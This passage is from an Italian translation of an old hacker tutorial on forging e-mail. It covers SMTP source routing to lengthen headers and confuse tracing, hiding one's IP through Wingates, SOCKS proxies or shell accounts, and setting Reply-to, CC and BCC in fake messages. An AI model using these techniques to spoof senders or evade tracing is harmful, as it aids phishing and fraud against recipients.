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Puoi far andare la tua posta lungo molti differenti servers per rendere l’header più lungo e confondere le persone che vogliono scovarti.
Esempio: se vuoi mandare una e-mail fasulla a blah@blah.com, e farla viaggiare lungo blaha.com, blahb.com e blahc.com, allora nella parte rcpt:, fai semplicemente questo: @blaha.com,@blahb.com,@blahc.com:blah@blah.com Nota: questo non lavora con ogni daemon sendmail.
Grazie a Magnus Kristiansens per questo! ;-)

Appendice C: nascondere il tuo IP
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Così non vuoi che le persone trovino il tuo IP e il tuo hostname quando li cercano nell’header completo? Allora semplicemente nascondi il tuo IP!
Puoi farlo usando Wingates o SOCKS firewalls, o collegandoti con telnet al daemon sendmail da uno shell account. Se usi uno di questi, il full header mostrerà l’IP del Wingate/SOCKS firewall/provider dello shell. Se trovi uno shell acount che ti permette di collegarti con telnet al suo esterno, puoi usare ciò per falsificare il tuo IP. Altrimenti, usa wingates o SOCKS firewalls. Per imparare di più leggi i tutorial su Proxy/Wingate/SOCKS e il nostro tutorial sull’anonimato a blacksun.box.sk.
Noi raccomandiamo anche di andare alla sezione ‘books’ sul nostro sito e scaricare l’eccellente manuale chiamato ‘IP spoofing Demystified’. Le cose scritte potrebbero non essere così pratiche, ma è molto importante leggerlo (imparerai un sacco di cose importanti che potrai usare in seguito).

Appendice D: Reply-to
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L’opzione reply-to fa il seguente: quando una persona riceve un e-mail con un indirizzo replay-to e manda una risposta, la risposta è mandata all’indirizzo specificato dentro il comando replay-to (questo non funziona sui clients di posta davvero davvero vecchi). Per usarlo semplicemente inserisci questa linea:
Replay-to: some-user@some-server.net
e rimpiazza some-user e some-server con gli appropriati utente e server. Devi includere questa linea prima o dopo la parte “subject:”.

Appendice E: CC e BCC
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CC è usato per mandare messaggi a altre persone che non sono I riceventi del messaggio, ma potrebbero avere bisogno delle informazioni in esso.
BCC è usato allo stesso modo, solo le persone possono vedere Il destinatario.
La B in BCC sta per Blind, mentre le CC stanno per Carbon Copy (come quando copi una pagina usando…indovina). Così BCC sta per Blind Carbon Copy mentre CC sta per Carbon Copy. Eccitante, non è vero? Grazie a 12tb per questa informazione.
Vuoi usare CC e BCC nelle tue e-mail false? Nessun problema!
Essi lavorano esattamente come il comando Reply-to. Semplicemente mettendo linee CC: o BCC: nella tua e-mail falsa (nel corpo del messaggio), e poi inserendo l’appropriato indirizzo e-mail.

Consultazioni
================
RFC 821 - the SMTP RFC. Possono essere trovati presso freesoft.org/CIE/RFC/821/index.htm .
Grazie a Chris Karwoski per questo ;-)

 

Questa guida è stata scritta da Raven e tradotta dal M3xican ( m3xican@napolihak.cjb.net ), se considerate la traduzione scadente o vi volete cimentare nell’impresa potete scaricare la versione originale in americano sempre su http://napolihak.cjb.net.

 

Tutto il materiale presente in questo sito è stato scaricato dalla rete internet. Nel caso ritenete di possedere la proprietà di qualsiasi cosa presente in questo sito, inviate un e-mail a ; verrà levata immediatamente.

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